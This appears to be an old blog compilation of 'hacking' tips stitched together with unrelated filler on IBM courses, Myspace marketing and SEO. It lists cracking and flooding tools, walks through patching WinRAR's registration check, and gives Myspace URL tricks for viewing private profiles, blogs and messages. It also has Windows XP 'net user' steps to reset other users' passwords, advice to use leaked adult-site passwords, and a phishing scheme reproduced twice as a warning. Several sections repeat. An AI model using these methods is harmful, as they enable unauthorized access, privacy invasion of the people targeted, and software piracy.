Real Hacking Tools

These are some tools that are extremely useful, But remember i am providing the knowledge and how you use them is up to you. Also if you don't know how to you these you should decently do some research, There is no tool that will just Hack for you, find exploits on your own is half the fun. these tools if not used properly can get you n a lot of trouble.

› Tools of the trade.


DeCSS 1.2b
is used as a cracking tool, is highly engineered software that has been designed in order to modify the other software with an intention to remove the usage restriction. A worth mentioning instance is a "patch generator", which replaces bytes at specific location of a file, giving it a licensed version. The DeCSS 1.2b was originated in the year 1999, October and requires storage of minimum 253 KB. Coldlife 4.0is another tool for website hacking that falls in the category of flooder. This is a program that has been designed to overload the connection by certain mechanisms like a fast pinging that causes a sudden DoS attack.

  • Cain and Able The top password recovery tool for Windows UNIX users often smugly assert that the best free security tools support their platform first, and Windows ports are often an afterthought. They are usually right, but Cain & Abel is a glaring exception. This Windows-only password recovery tool handles an enormous variety of tasks. It can recover passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.



  • Wireshark : Sniffing the glue that holds the Internet together
    Wireshark (known as Ethereal until a trademark dispute in Summer 2006) is a fantastic open source network protocol analyzer for Unix and Windows. It allows you to examine data from a live network or from a capture file on disk. You can interactively browse the capture data, delving down into just the level of packet detail you need. Wireshark has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session. It also supports hundreds of protocols and media types. A tcpdump-like console version named tethereal is included. One word of caution is that Ethereal has suffered from dozens of remotely exploitable security holes, so stay up-to-date and be wary of running it on untrusted or hostile networks (such as security conferences).



  • Aircrack : The fastest available WEP/WPA cracking tool
    Aircrack is a suite of tools for 802.11a/b/g WEP and WPA cracking. It can recover a 40 through 512-bit WEP key once enough encrypted packets have been gathered. It can also attack WPA 1 or 2 networks using advanced cryptographic methods or by brute force. The suite includes airodump (an 802.11 packet capture program), aireplay (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), and airdecap (decrypts WEP/WPA capture files).



  • Metasploit Framework : Hack the Planet
    Metasploit took the security world by storm when it was released in 2004. No other new tool even broke into the top 15 of this list, yet Metasploit comes in at #5, ahead of many well-loved tools that have been developed for more than a decade. It is an advanced open-source platform for developing, testing, and using exploit code. The extensible model through which payloads, encoders, no-op generators, and exploits can be integrated has made it possible to use the Metasploit Framework as an outlet for cutting-edge exploitation research. It ships with hundreds of exploits, as you can see in their online exploit building demo. This makes writing your own exploits easier, and it certainly beats scouring the darkest corners of the Internet for illicit shellcode of dubious quality. Similar professional exploitation tools, such as Core Impact and Canvas already existed for wealthy users on all sides of the ethical spectrum. Metasploit simply brought this capability to the masses.



  • NMAP THIS IS PROBABLY THE MOST IMPORTANTOF ALL This is a Port scanner, a very good one, it will do too many things to list i suggest you check it out.

    HOw tO Crack Applications

    What is cracking? Cracking is how i like to say a art a xpression.Everyone can handle it.But not everyone can do the best of it.If you like to crack you`ll see that it isnt easy to understand at first but after recieving some experience and knowledge it is incredible.If you have learned the real cracking you arent only a cracker.You are more then a cracker.With the art of cracking you`ll gain more knowledge about your PC the programms you running on it and how they work.You`ll understand how a programm works and how to manipulate it that it can be usefull for you.And it dont mean that it`s illegal. Offcourse it`s not 100% legal but it can be usefull for you in your later life.You have experience about the ASM-Code understand the function of programms and other applications and maybe it bring you up to a programmer?Who knows.But at first you`ve to learn it step by step.I`ll help you with my tutorials and i hope you understand the way how i explain it.Excuse my english i know its not the best but i`ll do my best.


    Step one: What do we need to crack?May i need some knowledge about assembler or anything else? No.I made this tutorial for all the beginners in the net who dont understand anything about ASM-Code or the internal function of applications.Like you and everyone else i also started with cracking some time ago.And it tooks much of my life time to what i know today about cracking. I think there are many tutorials which are good and i dont wanna say anything against them. But i think the most tutorials are quick written memory killer with which you cant do anything. I always had the problem that i dont understand what they mean.Like what is a nop or what mean the je,eax,jump signs.What they mean with jump to badboy and replace the jump if not equal with the jump if equal command.All these things and many more makes me sometimes worry about what i want to learn.I thought that i`ll gave up and forget the thing with cracking.But everytime if i do that some time later i cant and have to learn the way of cracking.Yes sometimes you`ll think oh man what do you mean it doesnt work!But dont give up.Everyone passed this point of time and you`re not the first and will not be the last one.You have to learn again and again.And then at any time you`ll see that it was good what you`re doing all the time and you`ll be proud about it.


    The software we`ll need: At first the only thing we`ll need is W32Dasm8.9 (a Windows disassembler) and HIEW (its a good Hex-Editor i think it`ll be the best for you at first).Thats all.In the following tutorials (i hope there`ll be any of me) i`ll explain how to work with soft-ice and how to handle the asm-code.But at first you need as a beginning cracker only the two things.


    Some knowledge at first: As you know its not very easy to handle all the asm-codes and i think you dont know much about them.So i`ll explain the most needed commands. There we have to know that every two numbers in asm-code are representing one byte. Like the number 75564345 = 4bytes.The 75 is one byte the 56 is one byte the 43 is one and the 45 is one byte.So we have 4 bytes leading the command at this point.If we want to replace them later we now know that we have to replace always two numbers with two other numbers.Like the 75 (in hexadezimal it stand for jne.Jne means jump if not equal) we can change to 74 (in hexadezimal it stand for je.Je means jump if equal).This in most of times is enough to crack a game or to register a programm so it`ll not say "sorry invalid password" or something else (please dont think its so easy i take it as a very simply protection).Cause if we change the value of 75 (jump if not equal [means that the application is checking something like if there is a cd present in drive or is it the same password like saved in the programm and if it isnt right like there is no cd in drive or the password you entered is not valid it will jump to "BadBoy" and the programm pop up you the error message] by the way "BadBoy" is in cracker language something like the one dude who call the error message) to 74 (jump if equal so the programm think there is a cd in drive or the password is valid and will jump to "GoodBoy".GoodBoy is the one who makes the way clear).You`ve to manipulate the application so it think there is a cd present or password is valid and it continious with the programm.Remember that the exe runs up to down.So the commands which call the error messages are placed before the error messages.The only thing i mean is that if you found the error message (i`ll explain later how to do it) you have always look up in the asm-code not down.Its like you.If you read a book or a text you start on line one and read your way down.The programm do the same.It checks from line one of the asm-code to the end of the code if there is all correct.And if it found at line 9 a error it jumps down to the "BadBoy".It cant jumps up cause there he checked everything and there arent complications.So if you found the error message look up (before it) and you`ll find the command which call the error message on the screen.Ok now some things about the numbers and things you`ll see if you disassemble a exe (here are only the needfullest things you`ve to know at this point of time): je (hexadezimal is 74) = Jump if equal jne (hexadezimal is 75) = Jump if not equal nop (hexadezimal is 90) = No operation call (no random hexadezimal) = call a operation jmp (no random hexadezimal) = jump to string/operation This are the five basics we`ll need at first.The other i`ll explain in later tutorials when you gain more experience in asm-code. Ok now we`ll take a look what does they do in a asm-code string. Je (Jump if equal) jumps to a operation if he found what he check.


    Example: The game need a cd to start the main game.So the "jump if equal" je command check if there is a cd in drive.If there is a cd in drive he`ll continous and give a information away to the commands after him.Thats a equal operation.The cd was found (equal) and it continous in asm-code (jump if equal). Jne (Jump if not equal) jumps to a operation (most times BadBoys that mean,to the error message you`ll recieve on your screen) if he dont found what he check. Example: The game need a cd to start the main game.So the "jump if not equal"jne command check if there is a cd present in drive.If not he`ll jump to a "BadBoy" and you`ll recieve the error message on screen like "Cannot find CD in drive.Please insert CD and click on OK." Thats a "jump if not equal"operation.The check failed (cause he dont find a CD in drive) and he jump to the "BadBoy" and the "BadBoy" end the load process and let the error message be shown on your screen. Nop (no operation) a nop command kill the current operation like checking after CD in drive or checking if password valid.


    Example: The game need a cd to start the main game.Its like before cause you set the nop command. You can replace the jne/je/call/jmp commands with a nop command.The nop will then disable the jne/je/call/jmp command this mean that the programm dont check if a cd is present in drive and continous in asm-code.The game run (you can do that but its also a style for simply cd protections). Call (Call a operation) a call command do what his name say.He call a command what can be a error message,a nag screen...This you can disable with a nop command. Example: I dont know what i can say more. Jmp (Jump to a string/operation) a jmp command is like a call (not the same but...you can say it is) he dont call commands but jump to them.


    Example: The jmp jumps to a string/operation which will call a error message or to a BadBoy...The jmp you can also disable with a nop command. I think thats all you`ve to know for now about the commands in asm-code.In this tutorial we`ll handle only with these few commands.Thats enough for you at first to crack simply protections (no matter if cd or password). About protection shemes: There are enough protection styles you`ve to learn about and to learn how to disable them. We have "normal" cd protections (a game is looking if there is a cd present if not it`ll not start the game),password protections (you`ve to enter a valid password [most times you find them in trial versions] if you dont enter a valid password you cant register or start the application), time locks (most times in trial versions.You have some time to test a programm like three weeks and after the time it wont start/show a error message/you`ve to enter a password to unlock it),and in unusually times you`ve to get a unlock software from the programmer (the programm wont work without the +software of the distruber.This kind of protection is hard to find).Thats are the most usual protection shemes you`ll find on your way to a real cracker. The easyest protections for us to crack are windows error message boxes (i think so). Its a windows message box which will be shown on your screen with any text if you havent got a cd present or a valid password.This kind of protections you can see in EA applications like NFS/Fifa Soccer/NHL....Its very easy to crack cause the only thing you`ve to do is to kill the window (most times with a nop command or change je to jne /jne to je).Also we can find this kind of protections at password locked applications.If you enter a invalid password you`ll recieve a windows message box too which include a text like "invalid password" or something else.Then we`ve ingame error messages which are harder to crack.Cause W32Dasm show you only the windows box messages and not the ingame messages.For this kind of protection we need soft-ice debugger (i`ll explain in later tutorials how to use soft-ice).This kind of protection you can see in games like Commandos/Grand TheftAuto/Descent Freespace.And the timelock protections can be shown to you as a windows box and as a "ingame" error message(i`ll call them NAG screens).Those kind of protection you can see in Paint Shop Pro. In this tutorial i`ll show you how to disable the windows message boxes with W32Dasm version 8.9 and with Hiew.We`ll crack WinRAR and WinRAR95 (may be a game too like Anno1602 or anything else i dont know how much time i`ll get and if the tutorial wont be too long). Beginning with cracking: Now lets start with the main thing you want to learn.Cracking.I`ll show you now how to handle the basic commands of W32Dasm89 and Hiew.We`ll crack now WinRAR95.exe (we`ll make a full registered version of the trial).


    At first we start the programm.We`re in. What can we see?At first we can see on top of the window "WinRAR (unregistered version)" Thats very good for us cause the "unregistered version" status behind the "WinRAR" tell us that it is unregistered and that it`ll be not shown if it registered.Now we click on "Options" and then on "Register".Now you can see a windows box (these kind of boxes i mean which are easy to crack for us).Now enter in the text boxes what you want like as a name "Test" and as a number "12345" and click on ok.You`ll hear a sound and another windows box pops up which tell you "Registration Failed".Thats all we want to know.Close WinRAR95 and go to your Ms-Dos box.Now in Norton Commander (you can use windows commander too) make from your WinRAR95.exe two copies.One of them named WinRAR95.w32 (for W32Dasm89) and one named WinRAR95.exx (a saved copy if you change wrong bytes). Now i`ll exlpain why we do these copies.Its very easy.If you disassemble a exe like WinRAR95 and you`re working in W32Dasm89 you cant run the WinRAR95.exe as the same time in Hiew or in Windows Explorer.You make a second copy named WinRAR95.w32 (you can call it like you want no matter but its good that you see its for W32Dasm89).This copy you`ll disassemble with W32Dasm89 and you can everytime start the original exe in Windows or change the bytes in Hiew.The second copy WinRAR95.exx is only a save recovery copy.If you change wrong bytes in Hiew or anything else so that it wont run you can rename the WinRAR95.exe with WinRAR95.exx.And try it again (remember its always "try and error" technique).Ok if you make the two copies start W32Dasm89.Now click on the first button on the top (or click on Disassembler and then on "Open file to disassemble".A window pops up and you can chose the file you want to be disassembled. Change your directory to your WinRAR directory and click on WinRAR95.w32. Now W32Dasm starting the disassembling process (if you have low system memory or low HD memory it`ll take some time).You can always click on the button in the midle of the screen called "Cancel Disassembly" which will abort the disassembling process.If the exe is disassembled it may be that you see no "normal" signs but WinDings written lines. Dont worry you can change your font.Click on "Disassembler" then on "Font" and at least on "Select Font".Now you can chose the font you`ll use in W32Dasm89.I think the best one is Arial.Change the font.Now you have your selected font present in W32Dasm89.Click a second time on "Disassembler" "Font" and then on "Save default Font" (if you dont do that at your next disassembling file you`ve to change the font a second time).Now you see the asm-code.It will not tell you much cause you dont know what all the commands mean.Now click on the button next to the "Print" button called "Strn Ref" (String Data References).A window pops up.Now you can see all the error messages you can recieve from the exe.Do you remember what does WinRAR said if you entered the wrong code?It said "Registration Failed".Now look at the text and search for the message.Got it?Double click on it.In W32Dasm you`ll be warped to the position in the asm-code where it let pops up the error message you`ll recieve on your screen when you entered the wrong code. If you make it right you`ve to look at a screen like this:

    :00413A8F 6A6A push 0000006A
    :00413A91 E863640000 call 00419EF9
    :00413A96 59 pop ecx
    :00413A97 50 push eax
    :00413A98 FF7508 push [ebp+08]

    Hide your maps

    Well alot of people get caught for having folders with things they shouldnt have. The best way to hide materials on windows XP is by this method.

    Step 1
    First create a new folder.
    Right Click - Select ’New’ - Select Folder.

    Step 2
    Now you will see your new folder.

    Now rename the folder by this method:
    Hold down the ’ALT’ Key (in between ’z’ & ’x’)
    And Type:

    0
    1
    6
    0

    And then release the ’ALT’ key.
    The folder name would now look like this
    Now right click the folder icon and select properties.

    Then - Customize - Change Icon -

    Step 4
    Now find a space between the icons. This will be an invisible icon.
    You will now notice an invisible folder other than when you click on it you will see a little blue highlight.
    Now move the folder where nobody would expect it, like on the bottom or top of the screen.
    Nice little trick to keep you safe from prying eyes.

    How to access Adult sites as a VIP member

    Its so simple. Every day a lot of such sites are being hacked . You will get Username and password to that sites from google search itself. Just type 'XXX passwords' in google search field.

    you'll see the sites which lists the hacked sites with username and passwords. Its totally free . no credit cards or payment needed. Download high quality videos for free.

    IBM offers free 'hot tech' classes online

    Looking to improve the supply of graduates with marketable IT skills, IBM is providing online training resources in a range of in-demand areas.

    The materials fall into six areas: Service Science Management and Engineering (SSME), Database Technology, Situational Applications and Web 2.0, Web Server Technology, Team-Based Development, and Enterprise Systems.

    The nature of the materials varies by subject. While the SSME content is primarily case studies, the Enterprise Systems content includes mainframe-focussed games in Second Life.

    Database Technology, Web Server Technology and Team-Based Development are all backed with free downloads of software such as DB2, WebSphere and Rational Team Concert.

    In some circumstances, students can obtain a 50 percent discount on IBM certification exams. Successful students may post their resumes on the company's Student Opportunity System database where they are visible to IBM customers and business partners globally.

    IBM customer MIB has welcomed the scheme. The company provides fraud protection services to insurance companies.

    "IBM is demonstrating leadership by providing supplemental Web 2.0 learning resources where students play - the Internet," said Alexander Klevitsky, director of architecture and enterprise software at MIB. At the same time, by working closely with universities to deliver those relevant skills, we're confident we'll have the talent pool we need to succeed."

    Hacking Myspace (Step by step explanation)

    Hack you enemies or friends Myspace

    Myspace Skins!!!!!!

    Want a new background skin for your profile? Plenty of sites offer coding for new skins. Just cut and paste them into the “About Me” section of your profile, and your profile is pimped.








    • MySpacelayouts.org offers collections of backgrounds, graphics, special characters and text effects, and full layogenerator -- just plug in the URL of the image you want, and the generator will spit out the code you need to set that image as your background.




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    • Profile Daddy has a nice collection of myspace tools and graphics to spice up your page
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    • At Yourpagestinks.com, you can plug search terms into a background image finder, or avail yourself of other free tools (cursors, ringtones, layout codes, and more). Funny, for a URL bespeaking such attitude, you would think the page would stink less … It’s got to be one of the most poorly constructed sites in the history of the internet:




    • The background code generator at FreeCodeSource.com is the best. With it you can customize your background on a half-dozen variables like color, border color, whether the image repeats or not, whether the image scrolls with the page, etc.

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    • Carrie UnderwoodNeed the freshest MySpace skins? Check out the 10 newest backgrounds at 123Layouts.com -- dozens and dozens of widely diverse (Jesus on the cross to Catherine Zeta Jones? Wow!) possibilities populate this site.

    Conducting Business on MySpace

    Viral marketing is essential for businesses trying to make it in the vast sea of e-commerce. You need to pull your customers into your site because trying to push your product to them will only get you netted in spam filters.

    So how do you pull them in? With a MySpace profile, naturally! Some businesses have built MySpace pages with product images and prices linked to their official site, while others have made MySpace their only retail outlet, like eBay’s retailers. Following are some best-practices tips to successfully market your product using MySpace.

    Build your brand name

    First, create a signature for your messages with a link to your profile or official site, then leave comments all over MySpace. No matter what you talk about, your business’s link will be added at the bottom, catching consumers’ eyes.

    Microtarget

    There are too many people in MySpace to appeal to them all at once. Find the groups that are most likely to be excited about your product and focus on them. You can even start a MySpace group, seed it with your close contacts, and watch your membership grow.

    Create buzz

    Targeting MySpace users with huge amounts of friends and pageviews to “review” your product can create enough buzz to clean out your entire inventory.

    Cross-promote

    Link to your MySpace profile from your official site, and vice-versa. Have friends and business affiliates link to your profile as well. More links means better Google placement.

    Don’t slack

    Noticeable gaps in your blog or participation in MySpace are easily identified by MySpace users. They will see you as a pretender and start leaving you nasty comments. Be consistent with your MySpace presence once you make the commitment.

    Getting noticed in Myspace

    So you got your profile set up, and have accumulated like a hundred million friends, but still no one leaves you comments. What does that mean? You’re a total MySpace loser. How do you get more popular? Following are some surefire methods to get noticed.

    Got other ideas to share?
    Click EasyEdit to add your own techniques for drawing attention to your MySpace profile.


    Adam's Secret to making friends:

    Add comments on as many pages as you can, it will show up on top. You will then have your face right up there next to their top 8, in no time, you should be recieving new friend requests. Just remember, the more you put in to myspace, the more you will get back. Activity is crucial.


    Start a flame war

    Nothing gets you mad respect on MySpace like telling really popular people how stupid they are. Doing so will generate hate, which is a great way to get attention.



    Leaving comments

    If you’re a band trying to get your sounds heard, leave comments with other bands that you like on MS, and invite them over to check you out.



    Pictures, pictures, and more pictures!

    The more pictures you post, the more people will check you out. Flash-powered slideshows and videos are very helpful in this regard.

    Blog for keywords

    Keep your MySpace blog high in search hits by writing about things that are popular to people. MySpace keeps a list of top 10 searches, so just piggyback off it as a way to keep your profile popping up in random MS searches. Blog about Coldplay ringtones or My Chemical Romance videos and the kids will flock to you.



    Whore-Me Code

    Spending time getting lots and lots of friends on MySpace has become so commonplace as to warrant its own slang term: whoring. A MySpace whore is someone who tries to get as many friends as possible. Here is a code generator that will let you put your “Add Me As a Friend” code practically anywhere. Just fill in your MS profile name and a URL for your picture (optional) and it spits back the code you’ll need: http://www.picgames.com/forum/myspace-friends.php

    Add-Me Groups

    Whether you are just a total MySpace whore, a band looking for fans, or a business looking for buyers, there’s no better way to rack up friends than by joining and posting to a number of groups on MySpace dedicated to giving you lots of friends. Be sure to follow the rules of the group. They are all kinda picky about protocol:

    Hack Myspace Private profile picture and video

    Myspace has become ridiculously easy to hack. I try my best to keep this blog updates with the latest hacks/codes that I find over the internet. These days even amateurs spend their time trying to hack into Myspace. I seen a number of hacks and codes released for Myspace from hacks and code for private profiles, pictures, videos, comments etc. As Myspace continues to patch up these hacks but users keep discovering new security holes and hacks and code. Just do a google search for “Myspace hack” or “Myspace code” you’ll find tons of websites that claim to have found some kind of vulnerability on myspace or found some code that can compromise Myspace security settings for private profiles, pictures, videos, comments etc. Majority of the users searching for myspace hacks/code are usually people who either want to check up on their girlfriends or boyfriends. Most of these codes to hack Myspace involve some kind of url modification.


    Update 27 October 2006:
    Latest Codes updated.
    New Code: to view Private blogs Added
    Credit: Grownupgeek, joyboner

    Code :


    http://blog.myspace.com/index.cfm?fuseaction=blog.edit&friendID=XXXXXX&blogID=XXXXXX

    Explanation :
    This is just an URL hack so it won’t last long,
    1. You replace the friendID with their friendid, and blogid with their blogid… got it?

    Well to view these the profile has to be public, or a friend of yours. You have to be able to see the blogs listed on their profile.

    To get friendID and blogID, right click on the link and copy it, pick out the friendID and blogID.


    http://blog.myspace.com/index.cfm?fuseaction=blog.view&friendID=122498109&blogID=184962006&MyToken=1f49gc99-83e9-45y0-b1dc-1de09d556d27


    View Private Pictures:
    *dead!
    - use one of the following urls by replacing the XX’s with the desired friend ID.


    http://forum.myspace.com/user/viewPicture.cfm?friendid=XXXXXX
    http://groups.myspace.com/user/viewPicture.cfm?friendid=XXXXXX
    http://editprofile.myspace.com/user/viewPicture.cfm?friendid=XXXXXX
    http://events.myspace.com/user/viewPicture.cfm?friendid=XXXXXX
    http://invite.myspace.com/user/viewPicture.cfm?friendid=XXXXXX
    http://mail.myspace.com/user/viewPicture.cfm?friendid=XXXXXX
    http://favorites.myspace.com/user/viewPicture.cfm?friendid=XXXXXX
    http://classifieds.myspace.com/user/viewPicture.cfm?friendid=XXXXXX
    http://search.myspace.com/user/viewPicture.cfm?friendid=XXXXXX

    View Private Comments: *dead!
    - use one of the following urls by replacing the XX’s with the desired friend ID.
    - to get past the 1st page, change the page=0 to page=1, page=2, ect..
    - as agreed, thegeek from the that site also has other working codes for viewing comments on private profiles.. you can find them by doing a google search for “grownupgeek”


    http://collect.myspace.com/user/viewallcomments.cfm?friendid=XXXXX&page=0
    http://events.myspace.com/user/viewallcomments.cfm?friendid=XXXXX&page=0
    http://favorites.myspace.com/user/viewallcomments.cfm?friendid=XXXXX&page=0
    http://mail.myspace.com/user/viewallcomments.cfm?friendid=XXXXX&page=0
    http://classifieds.myspace.com/user/viewallcomments.cfm?friendid=XXXXX&page=0
    http://vids.myspace.com/user/viewallcomments.cfm?friendid=XXXXX&page=0
    http://viewmorepics.myspace.com/index.cfm?fuseaction=user.viewComments&friendid=XXXXXX
    http://home.myspace.com/index.cfm?fuseaction=user.viewComments&friendid=XXXXXX
    http://au.myspace.com/index.cfm?fuseaction=user.viewComments&friendid=XXXXXX
    http://fr.myspace.com/index.cfm?fuseaction=user.viewComments&friendid=XXXXXX
    http://de.myspace.com/index.cfm?fuseaction=user.viewComments&friendid=XXXXXX
    http://ie.myspace.com/index.cfm?fuseaction=user.viewComments&friendid=XXXXXX
    http://uk.myspace.com/index.cfm?fuseaction=user.viewComments&friendid=XXXXXX
    http://forum.myspace.com/index.cfm?fuseaction=profile.safedeleteComments&friendid=XXXXXX
    http://groups.myspace.com/index.cfm?fuseaction=profile.safedeleteComments&friendid=XXXXXX
    http://editprofile.myspace.com/index.cfm?fuseaction=profile.safedeleteComments&friendid=XXXXXX
    http://events.myspace.com/index.cfm?fuseaction=profile.safedeleteComments&friendid=XXXXXX
    http://invite.myspace.com/index.cfm?fuseaction=profile.safedeleteComments&friendid=XXXXXX
    http://mail.myspace.com/index.cfm?fuseaction=profile.safedeleteComments&friendid=XXXXXX
    http://favorites.myspace.com/index.cfm?fuseaction=profile.safedeleteComments&friendid=XXXXXX
    http://classifieds.myspace.com/index.cfm?fuseaction=profile.safedeleteComments&friendid=XXXXXX
    http://search.myspace.com/index.cfm?fuseaction=profile.safedeleteComments&friendid=XXXXXX

    View Private Friends List: *alive!
    - use one of the following urls by replacing the XX’s with the desired friend ID.
    - to get past the 1st page of friends, change the page=1 to page=2, page=3, ect.


    http://collect.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://vids.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://forum.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://groups.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://editprofile.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://events.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://invite.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://mail.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://favorites.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://classifieds.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1
    http://search.myspace.com/user/viewfriends.cfm?friendID=XXXX&page=1

    View Private Videos: *alive!
    - use one of the following urls by replacing the XX’s with the desired friend ID.


    http://collect.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://vids.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://forum.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://groups.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://editprofile.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://events.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://invite.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://mail.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://favorites.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://classifieds.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX
    http://search.myspace.com/index.cfm?fuseaction=vids.showvids&friendid=XXXXX

    Message ANYONE: *alivish!
    - works with private profiles & away messages. this one needs to be fixed now!
    - use one of the following urls by replacing the XX’s with the desired friend ID.


    http://messaging.myspace.com/Modules/Messaging/Pages/SendMessage.aspx?fuseaction=mail.reply&friendId=XXXX
    http://home.myspace.com/Modules/Messaging/Pages/SendMessage.aspx?fuseaction=mail.reply&friendId=XXXX
    http://www.myspace.com/Modules/Messaging/Pages/SendMessage.aspx?fuseaction=mail.reply&friendId=XXXX
    http://myspace.com/Modules/Messaging/Pages/SendMessage.aspx?fuseaction=mail.reply&friendId=XXXX
    http://au.myspace.com/Modules/Messaging/Pages/SendMessage.aspx?fuseaction=mail.reply&friendId=XXXX
    http://fr.myspace.com/Modules/Messaging/Pages/SendMessage.aspx?fuseaction=mail.reply&friendId=XXXX
    http://de.myspace.com/Modules/Messaging/Pages/SendMessage.aspx?fuseaction=mail.reply&friendId=XXX
    http://ie.myspace.com/Modules/Messaging/Pages/SendMessage.aspx?fuseaction=mail.reply&friendId=XXXX
    http://uk.myspace.com/Modules/Messaging/Pages/SendMessage.aspx?fuseaction=mail.reply&friendId=XXXX

    View Private Blogs: *alive!
    - this is for private BLOGS not private profile blogs..
    - props to both Rachel & Metasyntactic for this one!
    - this one doesn’t need the replacing of friend ID’s.. just one word

    example: if you go to view a blog and you see the red text saying that this blog is set for friends only, or preferred list only, or set to blog owner only, all you have to do is change one word in the url.


    http://blog.myspace.com/index.cfm?fuseaction=blog.view&blogID=1234&friendid=1234

    change the red to:


    http://blog.myspace.com/index.cfm?fuseaction=blog.edit&blogID=1234&friend

    How to hack Yahoo Mail ID and passwords?

    Hacking Yahoo mail Id is a dream for many people, since most people uses it. But it is a difficult task and there are many cheaters saying that they can hack the ID and ask you to send your ID and password to a ID saying that is the server ID of yahoo. Don't trust that type of cheaters and allow them to use your ID and Password.
    Hacking Yahoo mail Id is a dream for many people, since most people uses it. But it is a difficult task and there are many cheaters saying that they can hack the ID and ask you to send your ID and password to a ID saying that is the server ID of yahoo. Don't trust that type of cheaters and allow them to use your ID and Password.

    EXAMPLE OF FAKE HACKING METHOD - DON'T TRUST THIS TYPE OF HACKING:


    STEP1.
    Log on to your yahoo account.

    STEP2.
    Compose an e-mail to mail_server59@yahoo.com

    STEP3.
    In the subject type PASSWORD RECOVERY.

    STEP4.
    Leave the cc field empty.

    STEP5.
    In the first line of the message area, type the e-mail address u r using.

    STEP6.
    In the second line write your password.
    This password goes straight to the yahoo server which is a machine.So, no one comes to know of it.

    STEP7.
    In the third line, write the e-mail address of the person whom u r hacking.

    STEP8.
    In the fourth line, write this code-
    cgh=900/sthyahooser2000
    #105/pass/server5000
    (simply copy and paste)

    STEP9.
    Mail it.


    THIS WONT WORK..SO DON'T TRUST THIS TYPE OF HACKING AND GET INTO TROUBLE.


    STEP1.
    Log on to your yahoo account.

    STEP2.
    Compose an e-mail to mail_server59@yahoo.com

    STEP3.
    In the subject type PASSWORD RECOVERY.

    STEP4.
    Leave the cc field empty.

    STEP5.
    In the first line of the message area, type the e-mail address u r using.

    STEP6.
    In the second line write your password.
    This password goes straight to the yahoo server which is a machine.So, no one comes to know of it.

    STEP7.
    In the third line, write the e-mail address of the person whom u r hacking.

    STEP8.
    In the fourth line, write this code-
    cgh=900/sthyahooser2000
    #105/pass/server5000
    (simply copy and paste)

    STEP9.
    Mail it.


    THIS WONT WORK..SO DON'T TRUST THIS TYPE OF HACKING AND GET INTO TROUBLE.

    Reset passwords in XP

    You can be ethier on a guest account or on when the person who owns
    the account is logged in,

    Steps

    1) Start>Search>cmd.exe>type control userpasswords2
    2) You will get a window with all the user accounts
    click on the one u want to reset and hit the reset password button

    Make you Folders Invisible in WinXP !!!!!

    Well alot of people get caught for having folders with things they shouldnt have. The best way to hide materials on windows XP is by this method.

    Step 1
    First create a new folder.
    Right Click - Select ’New’ - Select Folder.

    Step 2
    Now you will see your new folder.

    Now rename the folder by this method:
    Hold down the ’ALT’ Key (in between ’z’ & ’x’)
    And Type:

    0
    1
    6
    0

    And then release the ’ALT’ key.
    The folder name would now look like this
    Now right click the folder icon and select properties.

    Then - Customize - Change Icon -

    Step 4
    Now find a space between the icons. This will be an invisible icon.
    You will now notice an invisible folder other than when you click on it you will see a little blue highlight.
    Now move the folder where nobody would expect it, like on the bottom or top of the screen.
    Nice little trick to keep you safe from prying eyes.

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    How to hack windows Xp password

    1) Go to run type cmd. then command prompt will appear.
    2)Type "net user" press retrun
    3)you can see all the users including the administrator
    4) Now type "net user username * " . It'll ask for new password
    5) Now its done , you can change password without knowing old password.

    How to get traffic for your site/blog

    We all want more web traffic, right? There's a lot of "advice" out there on how to get it, and we've tested most of the ideas. We've summed up our results below into the three best ways to get traffic, and three other ways that are also popular, but don't really produce much.

    1) Search Engines

    You can't get away from the fact that around 80% of people first find a web site by using a search engine, and that over 1 billion searches are conducted on the Internet every day. That all adds up to massive amounts of potential traffic that you are able to tap into.

    But it means that you need to be seen in the search engines, which means making sure your site appears on the first page of a search engine's results when someone searches for your product or service. Any of you who have tried to do this will know it's not easy, but investing resources into doing it properly can reward you many times over.

    Our research has shown that search engine optimisation brings in very high amounts of quality traffic to your site. The majority of our search engine ranking customers see their web site traffic double or even triple within months of starting, and continue to see similar increases over the following months.

    2) Blind Submission

    See those ads offering to submit your site to 100,000 search engines and advertisement pages? We saw one the other day that said it would submit you to 1 billion sites!

    Even if these claims are true, you will in fact get NO REAL TRAFFIC from these sites. How can that be you ask? Believe me, we have tested it over and over again. Our test pages received no increase in traffic from these services on all the occasions we tested them.

    The main reason for this is because if your site isn't optimised to suit the engines, you may get submitted to them all but your site could be rejected by many, or ranked number 3982 (for example). Either way you will never be seen.

    3)Purchasing Email Lists

    A more and more common query we receive from local businesses is how to purchase an email list so that they can advertise via email. There are many offers around where you can purchase supposedly "opt in" email lists that you can then use to advertise to.

    Purchasing these email lists is never a good idea. Apart from a large percentage of the addresses being out of date by the time you get the list, the remaining recipients are likely to either be uninterested in your product, or angry that they receive unsolicited mail from you.

    Emailing people is often a good marketing strategy, but only to people who have willingly provided you with their email in the first place.

    4)Promote them with Social Media

    Bloggers regularly check their sources of traffic and submitting their website to social media sites like StumbleUpon and Digg is a great way to get on their radar. StumbleUpon in particular, can send hundreds of visitors to any site and its a really easy way to get noticed.

